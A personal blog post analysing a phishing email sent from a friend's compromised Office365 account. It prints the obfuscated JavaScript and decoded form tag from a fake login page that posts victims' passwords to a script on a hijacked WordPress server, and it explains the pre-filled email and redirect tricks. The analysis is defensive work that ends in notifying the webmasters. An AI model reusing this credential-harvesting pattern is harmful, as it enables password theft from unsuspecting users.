Delving into a Phishing Email Attack

December 28, 2020

Recently I’ve been contacted by a friend about his email account; he was suddenly unable to send any email. I initially suspected some sort of SMTP misconfiguration, but I then learned he was using Office365, so that wouldn’t be the case. Maybe there was some weird filtering rule set up accidentally?

First victim: The “Phisher”

Logging into his account seemed fine, but what first caught my eye were some foreign emails he had received, from institutions around the world I knew he had no business contacting. But I hadn’t considered an attack yet, so I ignored them. I then went and looked at the test messages he tried to send to check for any typo in email addresses, since that is a far too common source of problems for people I did technical support to. But then it became pretty clear his outbox was full of your standard phishing emails:

Lots of spam

Lots of spam

Security-wise, his account had no 2FA and, although I know his password wasn’t awful, he was probably victim of the same scam he was now “sending” to people around the world, becoming part of a long chain of victims in the process.

This was probably the attacker, but Office365 doesn’t give us any more clues

This was probably the attacker, but Office365 doesn’t give us any more clues

Second victim: The Phishing Servers

No different than the thousands of phishing and spam emails we all receive, I still decided to analyse what was sent to learn about it. The message contained an HTML file that, once opened, mimicked perfectly the Office365 login page (until then I was 50% expecting a Prince of Nigeria plea - sorry, Portuguese only). It was clear it was phishing, so I went to look at the form. Two things came to my eye: first, the file differed for every recipient, as the email was already hard-coded in the form (the only thing the victim would have to do is input their password, while the trick also added credibility by showing the page even “knew” their email); and second, this long, obscured JS1:

<script type="text/javascript">
<!--
document.write(unescape('%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%26%23%31%30%34%3B%26%23%31%31%36%3B%26%23%31%31%36%3B%26%23%31%31%32%3B%26%23%31%31%35%3B%26%23%35%38%3B%26%23%34%37%3B%26%23%34%37%3B%26%23%31%30%31%3B%26%23%34%36%3B%26%23%39%39%3B%26%23%31%30%34%3B%26%23%34%37%3B%26%23%31%31%39%3B%26%23%31%31%32%3B%26%23%34%35%3B%26%23%31%30%35%3B%26%23%31%31%30%3B%26%23%39%39%3B%26%23%31%30%38%3B%26%23%31%31%37%3B%26%23%31%30%30%3B%26%23%31%30%31%3B%26%23%31%31%35%3B%26%23%34%37%3B%26%23%38%33%3B%26%23%31%30%35%3B%26%23%31%30%39%3B%26%23%31%31%32%3B%26%23%31%30%38%3B%26%23%31%30%31%3B%26%23%38%30%3B%26%23%31%30%35%3B%26%23%31%30%31%3B%26%23%34%37%3B%26%23%36%38%3B%26%23%31%30%31%3B%26%23%39%39%3B%26%23%31%31%31%3B%26%23%31%30%30%3B%26%23%31%30%31%3B%26%23%34%37%3B%26%23%37%32%3B%26%23%38%34%3B%26%23%37%37%3B%26%23%37%36%3B%26%23%34%37%3B%26%23%31%32%32%3B%26%23%31%32%30%3B%26%23%31%30%39%3B%26%23%31%31%30%3B%26%23%34%36%3B%26%23%31%31%32%3B%26%23%31%30%34%3B%26%23%31%31%32%3B%20%6E%61%6D%65%3D%66%62%6E%6C%20%61%75%74%6F%63%6F%6D%70%6C%65%74%65%3D%22%6F%66%66%22%20%69%64%3D%69%7A%73%64%20%6D%65%74%68%6F%64%3D%70%6F%73%74%3E'));
//-->
</script>

However, while that script did not reveal any conclusive details in and of itself, it was already clear from the rest of the cleartext page it was a form. Running it wielded:

<form action=&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;&#101;&#46;&#99;&#104;&#47;&#119;&#112;&#45;&#105;&#110;&#99;&#108;&#117;&#100;&#101;&#115;&#47;&#83;&#105;&#109;&#112;&#108;&#101;&#80;&#105;&#101;&#47;&#68;&#101;&#99;&#111;&#100;&#101;&#47;&#72;&#84;&#77;&#76;&#47;&#122;&#120;&#109;&#110;&#46;&#112;&#104;&#112; name=fbnl autocomplete="off" id=izsd method=post>

There’s still another layer of indirection, HTML-entity encoding, which finally gives us the (anonymised by me) address: https://e.ch/wp-includes/SimplePie/Decode/HTML/zxmn.php

Obviously I couldn’t get the code of the PHP script, but I could confirm via Postman that it was there, and obviously it returned a 302 Found which redirects to the actual Office365 page, thus giving an unsuspecting user the idea they might have just mistyped the password and are back at the starting page, never guessing their password got stored somewhere else.

Postman request to the phishing server

Postman request to the phishing server

Another interesting thing about the phishing page is that the images were served from a completely different address, a small university in Colombia. These links, however, were not obfuscated in any way. In common with both these addresses was the usage of WordPress, in particular the SimplePie plugin in the server case. Googling “SimplePie exploits” is pretty self-explanatory in the amount of results returned.

Third victim: The Phished

Perhaps most surprising to me are the dozen of responses he still got in his email. It seems neither every spam filter caught the message, nor did some humans. Apart from the automated support ticket here and there, most answers were from companies asking for clarification: which order was he talking about, or “I can’t seem to be able to read your order”. I didn’t see them all, but only one alerted to the fact he was spamming.

More worryingly perhaps are the ones who did click on the file and filled out their password unknowingly. If some people bothered responding to spam, I will imagine that even more would just open it and get caught.

Wrapping Up

Managed to find a contact form amidst the German

Managed to find a contact form amidst the German

In the end I ended up contacting both webmasters offering a heads-up about their vulnerability. I advised my friend to get a new email since that one was probably blocked by spam filters across the Internet, and for him to get 2FA in his new account.

This script was very simple and only supported password input, but I can imagine a script that tries to log the user immediately in the backend with their temporary code, to the same effect of this script. A better solution to the problem would be a password manager, since it only suggests passwords based on the domain, but getting non-tech savvy people to adopt new products is a whole different story…


  1. I reduced the size of the message to hide the server address, since I have no reason to believe the site’s owner, a Swiss-based construction company, has any guilt in the matter. [return]